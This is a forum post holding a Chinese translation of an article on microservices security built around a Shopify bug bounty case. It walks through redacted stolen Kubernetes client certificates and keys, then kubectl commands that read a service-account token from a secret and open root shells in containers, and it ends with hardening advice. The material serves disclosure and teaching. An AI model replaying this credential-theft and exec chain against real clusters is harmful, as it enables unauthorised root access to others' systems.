取消
显示结果 
搜索替代 
您的意思是: 
cancel
1535
查看次数
0
有帮助
1
评论
julianchen
Spotlight
Spotlight
ca.crt(译者注:ca证书文件)
-----BEGINCERTIFICATE-----
██████
███████
███████
████████
██████████████
████████
████████
███████
████
██████
███
█████████
████
████
████████
███████
███
-----ENDCERTIFICATE-----
client.crt(译者注:client端证书文件)
-----BEGINCERTIFICATE-----
█████
███████
██████
████████
██████████
█████
██████
█████
█████
██████████
███████
█████
████
████
████████
████████
-----ENDCERTIFICATE-----
client.pem(译者注:采用Base64 编码的client端文件,存储证书+密钥)
-----BEGIN RSA PRIVATEKEY-----
█████████
██████
████████
████
████
█████████
██████████
██████
████████
█████████
██████
██████████
███
██████████
███
██████
█████████
████████
██████████
█████████
████
████
████████
████
███████
-----END RSA PRIVATEKEY-----
至此,我得到了MASTER_NAME█████
3 – 使用Kubelet执行任意命令
在此,我们可以列出所有的pods
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://██████ get pods --all-namespaces
NAMESPACE NAME READY STATUS RESTARTS AGE
████████ ██████████ 1/1
也可以创建新的pods:
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://████████ create -fhttps://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml
pod"shell-demo" created
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://██████████ delete pod shell-demo
pod"shell-demo" deleted
由于我无法确定自己是否能以用户████████的身份,去删除其正在运行的pods。因此,我无法在这个新的pod或其他pod中执行任何命令:
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://█████████ exec -it shell-demo -- /bin/bash
Error fromserver (Forbidden): pods "shell-demo" is forbidden: User"███" cannot create pods/exec in the namespace "default":Unknown user "███"
虽然get secrets命令没有起到效果,但是它能够根据给定的pod,运用其名称来获取密钥。我正好运用实例名████,从名称空间████中,截获到了kubernetes.io服务帐号的token
$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://███ describe pods/█████ -n █████████
Name: ████████
Namespace: ██████
Node: ██████████
Start Time: Fri, 23 Mar 2018 13:53:13 +0000
Labels: █████
████
█████
Annotations:
Status: Running
IP: █████████
ControlledBy: █████
Containers:
default-http-backend:
Container ID: docker://███
Image: ██████
Image ID: docker-pullable://█████
Port: ████/TCP
Host Port: 0/TCP
State: Running
Started: Sun, 22 Apr 2018 03:23:09 +0000
Last State: Terminated
Reason: Error
Exit Code: 2
Started: Fri, 20 Apr 2018 23:39:21 +0000
Finished: Sun, 22 Apr 2018 03:23:07 +0000
Ready: True
Restart Count: 180
Limits:
cpu: 10m
memory: 20Mi
Requests:
cpu: 10m
memory: 20Mi
Liveness: http-get http://:███/healthz delay=30stimeout=5s period=10s #success=1 #failure=3
Environment:
Mounts:
██████
Conditions:
Type Status
Initialized True
Ready True
PodScheduled True
Volumes:
██████████:
Type: Secret (a volume populated by a Secret)
SecretName: ███████
Optional: false
QoS Class: Guaranteed
Node-Selectors:
Tolerations: node.kubernetes.io/not-ready:NoExecute for300s
node.kubernetes.io/unreachable:NoExecute for 300s
Events:

$ kubectl--client-certificate client.crt --client-key client.pem --certificate-authorityca.crt --server https://██████ get secret███████ -n ███████ -o yaml
apiVersion: v1
data:
ca.crt: ██████████
namespace: ████
token: ██████████==
kind: Secret
metadata:
annotations:
kubernetes.io/service-account.name: default
kubernetes.io/service-account.uid: ████
creationTimestamp: 2017-01-23T16:08:19Z
name:█████
namespace: ██████████
resourceVersion: "115481155"
selfLink:/api/v1/namespaces/████████/secrets/████
uid: █████████
type: kubernetes.io/service-account-token
最后如下所示,我就能使用该token从任意容器中获取shell了。
$ kubectl--certificate-authority ca.crt --server https://████ --token"█████.██████.███" exec -it w█████████ -- /bin/bash
Defaultingcontainer name to web.
Use 'kubectldescribe pod/w█████████' to see all of the containers in this pod.
███████:/# id
uid=0(root)gid=0(root) groups=0(root)
█████:/# ls
app boot dev exec key lib64 mnt proc run srv start tmp var
bin build etc home lib media opt root sbin ssl sys usr
███████:/# exit

$ kubectl--certificate-authority ca.crt --server https://███████ --token"█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash
Defaultingcontainer name to web.
Use 'kubectldescribe pod/█████ -n █████' to see all of the containers in this pod.
root@████:/# id
uid=0(root)gid=0(root) groups=0(root)
root@████:/# ls
app boot dev exec key lib64 mnt proc run srv start tmp var
bin build etc home lib media opt root sbin ssl sys usr
root@█████:/#exit
影响程度严重
黑客们可以根据相关的上下文信息,采用服务器端请求伪造(SSRF)来入侵上述漏洞。同时,他们会给目标系统带来如下影响:
· 绕过网络访问控制,能够截获内部服务吗?
· 是的。
· 什么样的内部服务能被访问?
· 谷歌云的元数据。
· 带来何种安全影响
· RCE(远程代码执行)。
保障微服务安全的最佳实践
通过上述Shopify案例,我们可以学到:
· 用户身份管理、授权和访问控制。我们的首要任务应该是:设置适当的访问控制和用户权限。其中,我们可以使用OAuth2来进行用户授权的管控。您可按需使用访问控制,来对不同类型的用户组进行访问级别和权限范围的设置。例如:您可以采用诸如JWT(基于认证的JSON Web Token)、JJWTJava JWT,请参考https://github.com/jwtk/jjwt)等第三方的服务架构来实现认证,使用SSO来处理授权问题。另外,您也可以参照SAMLLDAP进行身份验证。
· 根据TOTPtime-based one-time password,基于时间的一次性密码)启用2FAtwo-factor authentication,双因素认证)。这是另一种很好的方法。它能够像第二道防线那样,去弥补JWT自身的各种漏洞,以及处理验证过程中的疏漏。其代表方式是实施GoogleAuth库(请参考https://github.com/wstrange/GoogleAuth)。
· 不要以明文或纯文本的形式存储敏感数据。请选用libsodium服务(https://github.com/jedisct1/libsodium),对数据进行加、解密。此外,千万不要采用某种尚处于测试阶段的加密算法,因为它们往往可能捆绑了某些框架,或潜在着各种未知的漏洞。
· 使用API网关隔离各种资源。您可以使用各种第三方的API网关来达到此效果。
· 分离各种API和内部组件,以减少暴露的被攻击面。
· 为了基于REST-API安全,请持续关注每年底更新的OWASP Top 10,并做好自身的漏洞彻审。如前文所述的SSRF,如果我们处置不当,将会带来RCE的隐患。此法有助于发现一些常见的Web应用漏洞。
· 如果部署并使用云平台,请为帐号和实例配置访问控制。通常情况下,服务器实例的元数据是开放性的;而隶属于特定微服务的AWS object buckets(对象存储空间)也同样是开放性的。因此我们要通过ACL,来防范它们在最坏情况下被公布于世。正如上述Shopify案例那样,攻击者通过利用漏洞,获取root访问权限,来进一步截获与服务器实例有关的敏感元数据。
· 对通用序列化(Common serialization)与反序列化(deserialization),基于SQLi漏洞的防范。我们特别要注意那些不安全的反序列化,它们可能会导致包括RCE在内的许多严重漏洞。因此,我们需要及时通过热补丁程序(hotfix)来对用户的输入实施审查和“消毒”。例如:Kryo(译者注:一种快速高效的Java对象图形序列化架构)就存在着尚未修复的反序列化漏洞,请参见:https://github.com/EsotericSoftware/kryo/issues/398
Ø Spark SQL
Ø Kafka + Spark Serialization
· 认证,我们可以采用如下的身份验证APIs(各种架构和服务):
Ø 使用Cognito + AWS API网关来处理繁琐的认证:
2 Cognito使用证书、MFA等来处理认证问题。
2 API网关检查访问的tokenJWT、以及授权。
Ø 在各个服务之间,采用基于角色的限制。
Ø 通过要求对每个请求进行签名,以增加额外的认证保护层。
Ø Lambda的各个函数整合到hook进程之前和之后。
2 您可以使用各种Swagger文件。
2 也可以参考https://github.com/iheartradio/play-swagger,来为自己的架构轻松产生各种Swagger文件。
· 切勿将敏感键值或信息存放到环境变量之中。这些信息可能会在某些情况下暴露在应用程序的日志中,或是被其他服务无意中访问到,从而带来安全隐患。
【原标题】How to Secure YourMicroservices — Shopify Case Study (作者: Arif Khan)
原文链接:https://dzone.com/articles/bountytutorial-microservices-security-how-to-secur

评论
likuo
Spotlight
Spotlight
积累知识。
入门指南

使用上面的搜索栏输入关键字、短语或问题,搜索问题的答案。

我们希望您在这里的旅程尽可能顺利,因此这里有一些链接可以帮助您快速熟悉思科社区:









快捷链接